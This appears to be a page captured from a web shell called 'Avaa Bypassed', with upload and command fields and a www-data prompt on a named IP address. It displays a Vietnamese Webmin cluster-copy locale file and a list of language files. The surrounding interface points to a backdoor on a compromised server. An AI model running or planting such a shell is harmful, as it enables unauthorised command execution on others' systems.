[ Avaa Bypassed ]




Upload:

Command:

www-data@3.15.204.106: ~ $
index_title=Sao chép tập tin
index_add=Tạo một bản sao tập tin theo lịch trình mới.
index_none=Không có bản sao tập tin theo lịch trình đã được xác định.
index_servers=Sao chép vào máy chủ
index_return=danh sách bản sao cụm
index_more=Thêm $1 nữa ..
index_run=Chạy ngay đi ..
index_files=Tập tin để sao chép
index_sched=Lên kế hoạch?
index_when=Có, $1 
index_act=Hoạt động
index_exec=Hành hình
index_delete=Xóa các bản sao được chọn

edit_title=Chỉnh sửa sao chép cụm
create_title=Tạo bản sao cụm
edit_header=Chi tiết sao chép cụm
edit_files=Tập tin để sao chép
edit_dest=Danh mục nơi nhận
edit_cmd=Lệnh chạy sau khi sao chép
edit_before=Lệnh chạy trước khi sao chép
edit_remote=Trên các máy chủ từ xa
edit_dmode0=Sao chép đường dẫn đầy đủ trong thư mục
edit_dmode1=Sao chép vào thư mục này
edit_servers=Sao chép vào máy chủ
edit_group=Thành viên của $1 
edit_this=máy chủ này
edit_all=<Tất cả máy chủ>
edit_sched=Sao chép đúng tiến độ?
edit_schedyes=Có, vào những thời điểm được chọn dưới đây ..
edit_run=Sao chép ngay
edit_return=sao chép cụm
edit_email=Email xuất ra
edit_none=Không ai

save_err=Không thể lưu công việc cron cluster
save_efiles=Không có tập tin để sao chép đã nhập
save_edest=Thiếu thư mục đích
save_eservers=Không có máy chủ để sao chép để nhập
save_efile=Tệp để sao chép '$1' không phải là đường dẫn tuyệt đối
save_eemail=Địa chỉ email bị thiếu hoặc không hợp lệ

exec_title=Sao chép các tập tin
exec_files1=Sao chép tệp $1 vào các máy chủ được chọn $2 ..
exec_files2=Sao chép $1 vào các máy chủ được chọn $2 ..
exec_under=(trong thư mục $1)
exec_failed=Không thể sao chép sang $1 : $2 
exec_success=Đã sao chép các tệp sau vào $1  :
exec_made=Tạo các thư mục sau trên $1  :
exec_nohosts=Không có máy chủ nào được chọn để chạy trên hoặc các nhóm được chọn không chứa bất kỳ máy chủ nào có thể sử dụng được.
exec_nothing=Không có tệp nào được sao chép thành công vào $1.
exec_not=Không thể sao chép các tệp sau vào $1  :
exec_cmd=Đầu ra lệnh sau sao chép trên $1  :
exec_before=Đầu ra lệnh trước khi sao chép trên $1  :
exec_on=Không thể chạy trên $1 : $2 

log_create=Tạo bản sao cho máy chủ $1 đến $2 
log_modify=Bản sao đã sửa đổi cho các máy chủ $1 đến $2 
log_delete=Đã xóa bản sao cho máy chủ $1 đến $2 
log_exec=Đã sao chép $1 đến $2 máy chủ
log_deletes=Đã xóa $1 bản

email_subject_succeeded=Bản sao cụm $1 đã thành công
email_subject_failed=Sao chép cụm $1 không thành công

delete_err=Không thể xóa bản sao
delete_enone=Không được chọn

Filemanager

Name Type Size Permission Actions
af.auto File 2.4 KB 0644
ar.auto File 3.09 KB 0644
be.auto File 3.86 KB 0644
bg.auto File 3.82 KB 0644
ca File 2.6 KB 0644
cs File 2.64 KB 0644
da.auto File 2.33 KB 0644
de File 2.69 KB 0644
el.auto File 4.5 KB 0644
en File 2.19 KB 0644
es File 2.16 KB 0644
es.auto File 322 B 0644
eu.auto File 2.5 KB 0644
fa.auto File 3.42 KB 0644
fi.auto File 2.53 KB 0644
fr File 2.76 KB 0644
he.auto File 2.8 KB 0644
hr File 2.5 KB 0644
hu File 2.18 KB 0644
it.auto File 2.42 KB 0644
ja.auto File 3.25 KB 0644
ko.auto File 2.75 KB 0644
lt.auto File 2.49 KB 0644
lv.auto File 2.39 KB 0644
ms.auto File 2.42 KB 0644
mt.auto File 2.56 KB 0644
nl File 2.55 KB 0644
no File 2.34 KB 0644
pl File 2.52 KB 0644
pt.auto File 2.53 KB 0644
pt_BR.auto File 2.53 KB 0644
ro.auto File 2.54 KB 0644
ru.auto File 3.92 KB 0644
sk.auto File 2.62 KB 0644
sl.auto File 2.39 KB 0644
sv.auto File 2.38 KB 0644
th.auto File 4.91 KB 0644
tr.auto File 2.56 KB 0644
uk.auto File 3.65 KB 0644
ur.auto File 3.51 KB 0644
vi.auto File 2.91 KB 0644
zh.auto File 2.21 KB 0644
zh_TW.auto File 2.21 KB 0644